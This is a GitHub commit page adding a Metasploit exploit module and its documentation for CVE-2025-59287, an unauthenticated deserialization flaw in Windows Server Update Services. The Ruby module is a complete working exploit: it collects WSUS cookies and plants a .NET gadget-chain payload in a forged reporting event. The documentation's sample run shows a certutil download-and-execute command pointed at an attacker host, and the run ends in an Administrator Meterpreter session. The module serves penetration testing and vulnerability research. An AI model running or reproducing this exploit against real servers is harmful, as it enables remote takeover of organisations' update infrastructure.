Skip to content

Commit c007d3a

Browse files
authored
Merge pull request #20674 from msutovsky-r7/exploit/win/cve-2025-59287
Adds module for unauthenticated deserialization in WSUS (CVE-2025-59287)
2 parents 8648398 + 6aeb81a commit c007d3a

File tree

2 files changed

+278
-0
lines changed

2 files changed

+278
-0
lines changed
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
## Vulnerable Application
2+
3+
Provides features for managing and distributing updates through a management console.
4+
The [CVE-2025-59287](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-59287) is a remote code execution vulnerability in
5+
this component that allows an unauthenticated attacker to create a specially crafted event that gets unsafely deserialized upon server sync.
6+
One way to run synchronization is to open the `Windows Server Update Service` app,
7+
the other is to run the following command from PowerShell:
8+
9+
`(Get-WsusServer).GetSubscription().GetLastSynchronizationInfo()`
10+
11+
- Windows Server 2012 - fixed in version **6.2.9200.25728**
12+
- Windows Server 2016 - fixed in version **10.0.14393.8524**
13+
- Windows Server 2025 - fixed in version **10.0.26100.6905**
14+
15+
## Verification Steps
16+
17+
1. Setup WSUS on target server
18+
1. Do: `use exploit/windows/http/wsus_deserialization_rce`
19+
1. Do: `set RHOSTS [target IP]`
20+
1. Do: `set LHOST [attacker IP]`
21+
1. Do: `set LPORT [attacker port]`
22+
1. Do: `run`
23+
24+
## Options
25+
26+
27+
## Scenarios
28+
29+
```
30+
msf exploit(windows/http/wsus_deserialization_rce) > run verbose=true
31+
[*] Command to run on remote host: certutil -urlcache -f http://192.168.3.7:8080/g7dX6dKZEs4KZYEuEJH2KQ %TEMP%\nYFKgDXL.exe & start /B %TEMP%\nYFKgDXL.exe
32+
[*] Fetch handler listening on 192.168.3.7:8080
33+
[*] HTTP server started
34+
[*] Adding resource /g7dX6dKZEs4KZYEuEJH2KQ
35+
[*] Started reverse TCP handler on 192.168.3.7:4444
36+
[*] Getting server ID
37+
[*] Getting authentication cookie
38+
[*] Getting reporting cookie
39+
[*] Trying to create malicious event
40+
[*] Created malicious event, now waiting for WSUS to sync
41+
[*] Client 10.5.132.161 requested /g7dX6dKZEs4KZYEuEJH2KQ
42+
[*] Sending payload to 10.5.132.161 (Microsoft-CryptoAPI/10.0)
43+
[*] Client 10.5.132.161 requested /g7dX6dKZEs4KZYEuEJH2KQ
44+
[*] Sending payload to 10.5.132.161 (CertUtil URL Agent)
45+
[*] Sending stage (230982 bytes) to 10.5.132.161
46+
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.161:49984) at 2025-11-04 12:27:00 +0100
47+
48+
meterpreter > sysinfo
49+
Computer : WIN2022__63DA
50+
OS : Windows Server 2022 (10.0 Build 20348).
51+
Architecture : x64
52+
System Language : en_US
53+
Domain : WORKGROUP
54+
Logged On Users : 1
55+
Meterpreter : x64/windows
56+
meterpreter > getuid
57+
Server username: WIN2022__63DA\Administrator
58+
```
Lines changed: 220 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,220 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GreatRanking
8+
9+
include Exploit::Remote::HttpClient
10+
include Msf::Util::DotNetDeserialization
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Windows Server Update Service Deserialization Remote Code Execution',
17+
'Description' => %q{
18+
This module exploits deserialization vulnerability in legacy serialization mechanism in Windows Server Update Services (WSUS). The vulnerability allows unauthenticated attacker to create specially crafted event, which triggers unsafe deserialization upon server synchronization. The module does not require any other options and upon successful exploitation, the payload is executed in context of administrator.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => [
22+
'mwulftange', # security research
23+
'msutovsky-r7' # module development
24+
],
25+
'References' => [
26+
[ 'ATT&CK', Mitre::Attack::Technique::T1190_EXPLOIT_PUBLIC_FACING_APPLICATION],
27+
[ 'URL', 'https://code-white.com/blog/wsus-cve-2025-59287-analysis/'],
28+
[ 'CVE', '2025-59287']
29+
],
30+
'Arch' => ARCH_CMD,
31+
'Platform' => 'win',
32+
'DefaultOptions' => {
33+
'RPORT' => '8530',
34+
'WfsDelay' => 900 # need to wait for WSUS to try synchronize
35+
},
36+
'Targets' => [
37+
[ 'Windows', {}]
38+
],
39+
40+
'DisclosureDate' => '2025-10-14',
41+
'DefaultTarget' => 0,
42+
'Notes' => {
43+
'Stability' => [CRASH_SERVICE_RESTARTS],
44+
'Reliability' => [REPEATABLE_SESSION],
45+
'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
46+
}
47+
)
48+
)
49+
end
50+
51+
def get_soap_response_xml(path, soap_action, data)
52+
res = send_request_cgi({
53+
'uri' => path,
54+
'method' => 'POST',
55+
'headers' => {
56+
'SOAPAction' => soap_action
57+
},
58+
'ctype' => 'text/xml',
59+
'data' => data
60+
})
61+
62+
fail_with(Failure::UnexpectedReply, 'Received unexpected response from WSUS') unless res&.code == 200
63+
xml = res.get_xml_document
64+
xml.remove_namespaces!
65+
xml
66+
end
67+
68+
def get_server_id
69+
soap_body = <<~XML
70+
<?xml version="1.0" encoding="utf-8"?>
71+
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
72+
<soap:Body>
73+
<GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
74+
<cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
75+
</GetRollupConfiguration>
76+
</soap:Body>
77+
</soap:Envelope>
78+
XML
79+
80+
xml = get_soap_response_xml(normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), 'http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration', soap_body)
81+
82+
@server_id = xml.xpath('//ServerId').text.to_s
83+
84+
fail_with(Failure::Unknown, 'Failed to get server ID') unless @server_id
85+
end
86+
87+
def get_auth_cookie
88+
soap_body = <<~XML
89+
<?xml version="1.0" encoding="utf-8"?>
90+
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
91+
<soap:Body>
92+
<GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
93+
<clientId>#{@server_id}</clientId>
94+
<targetGroupName></targetGroupName>
95+
<dnsName>#{Rex::Text.rand_text_alpha_lower(4..8)}</dnsName>
96+
</GetAuthorizationCookie>
97+
</soap:Body>
98+
</soap:Envelope>
99+
XML
100+
101+
xml = get_soap_response_xml(normalize_uri('SimpleAuthWebService', 'SimpleAuth.asmx'), 'http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie', soap_body)
102+
103+
@auth_cookie = xml.xpath('//CookieData').text.to_s
104+
@plugin_id = xml.xpath('//PlugInId').text.to_s
105+
fail_with(Failure::Unknown, 'Failed to get authentication cookie') unless @auth_cookie && @plugin_id
106+
end
107+
108+
def get_reporting_parameters
109+
timenow = Time.now.strftime('%Y-%m-%dT%H:%M:%SZ')
110+
111+
soap_body = <<~XML
112+
<?xml version="1.0" encoding="utf-8"?>
113+
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
114+
<soap:Body>
115+
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
116+
<authCookies>
117+
<AuthorizationCookie>
118+
<PlugInId>#{@plugin_id}</PlugInId>
119+
<CookieData>#{@auth_cookie}</CookieData>
120+
</AuthorizationCookie>
121+
</authCookies>
122+
<oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
123+
<lastChange>#{timenow}</lastChange>
124+
<currentTime>#{timenow}</currentTime>
125+
<protocolVersion>1.20</protocolVersion>
126+
</GetCookie>
127+
</soap:Body>
128+
</soap:Envelope>
129+
XML
130+
131+
xml = get_soap_response_xml(normalize_uri('ClientWebService', 'Client.asmx'), 'http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie', soap_body)
132+
133+
@encrypted_data = xml.xpath('//EncryptedData').text.to_s
134+
@expiration = xml.xpath('//Expiration').text.to_s
135+
136+
fail_with(Failure::Unknown, 'Failed to get reporting parameters') unless @encrypted_data && @expiration
137+
end
138+
139+
def create_malicious_event
140+
timenow = Time.now.strftime('%Y-%m-%dT%H:%M:%SZ')
141+
payload_data = ::Msf::Util::DotNetDeserialization.generate(
142+
payload.encoded,
143+
gadget_chain: :WindowsIdentity,
144+
formatter: :SoapFormatter
145+
)
146+
147+
soap_body = <<~XML
148+
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
149+
<soap:Body>
150+
<ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
151+
<cookie>
152+
<Expiration>#{@expiration}</Expiration>
153+
<EncryptedData>#{@encrypted_data}</EncryptedData>
154+
</cookie>
155+
<clientTime>#{timenow}</clientTime>
156+
<eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
157+
<ReportingEvent>
158+
<BasicData>
159+
<TargetID>
160+
<Sid>#{SecureRandom.uuid.strip}</Sid>
161+
</TargetID>
162+
<SequenceNumber>0</SequenceNumber>
163+
<TimeAtTarget>#{timenow}</TimeAtTarget>
164+
<EventInstanceID>#{SecureRandom.uuid.strip}</EventInstanceID>
165+
<NamespaceID>2</NamespaceID>
166+
<EventID>389</EventID>
167+
<SourceID>301</SourceID>
168+
<UpdateID>
169+
<UpdateID>#{SecureRandom.uuid.strip}</UpdateID>
170+
<RevisionNumber>0</RevisionNumber>
171+
</UpdateID>
172+
<Win32HResult>0</Win32HResult>
173+
<AppName>#{Rex::Text.rand_text_alpha_lower(4..8)}</AppName>
174+
</BasicData>
175+
<ExtendedData>
176+
<MiscData soapenc:arrayType="xsd:string[2]">
177+
<string>Administrator=SYSTEM</string>
178+
<string>SynchronizationUpdateErrorsKey=#{Rex::Text.html_encode(payload_data)}</string>
179+
</MiscData>
180+
</ExtendedData>
181+
<PrivateData>
182+
<ComputerDnsName></ComputerDnsName>
183+
<UserAccountName></UserAccountName>
184+
</PrivateData>
185+
</ReportingEvent>
186+
</eventBatch>
187+
</ReportEventBatch>
188+
</soap:Body>
189+
</soap:Envelope>
190+
XML
191+
192+
xml = get_soap_response_xml(normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), 'http://www.microsoft.com/SoftwareDistribution/ReportEventBatch', soap_body)
193+
194+
fail_with(Failure::PayloadFailed, 'Failed to create malicious report, target might be not vulnerable') unless xml.xpath('//ReportEventBatchResult').text.to_s == 'true'
195+
end
196+
197+
##
198+
# Could not find better way to check if target is running vulnerable WSUS, leaving it for now with checking for presence of WSUS
199+
##
200+
def check
201+
res = send_request_cgi({
202+
'method' => 'GET'
203+
})
204+
return CheckCode::Safe('Target does not run WSUS') unless res&.code == 200 && res.headers['Server'] == 'Microsoft-IIS/10.0'
205+
206+
CheckCode::Detected('Target is probably running WSUS')
207+
end
208+
209+
def exploit
210+
vprint_status('Getting server ID')
211+
get_server_id
212+
vprint_status('Getting authentication cookie')
213+
get_auth_cookie
214+
vprint_status('Getting reporting cookie')
215+
get_reporting_parameters
216+
vprint_status('Trying to create malicious event')
217+
create_malicious_event
218+
vprint_status('Created malicious event, now waiting for WSUS to sync')
219+
end
220+
end

0 commit comments

Comments
 (0)